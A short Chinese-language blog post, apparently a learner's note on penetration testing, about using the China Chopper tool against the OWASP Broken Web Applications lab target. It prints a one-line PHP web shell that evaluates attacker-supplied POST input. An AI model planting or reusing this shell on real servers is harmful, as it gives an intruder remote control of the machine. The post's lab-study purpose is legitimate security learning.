網絡安全滲透

最近正在學習網絡安全及滲透的知識，看到一個滲透工具–中國菜刀。經過在服務器上傳一句話木馬來獲取服務器的文件系統，而後能夠像shell同樣操做服務器。靶機用的是OWASP Broken Web Applications ，用的語言是php。在發送請求該木馬文本時，會執行php文本。文本以下：php <?php @eval($_POST['pass']);?>

>>阅读原文<<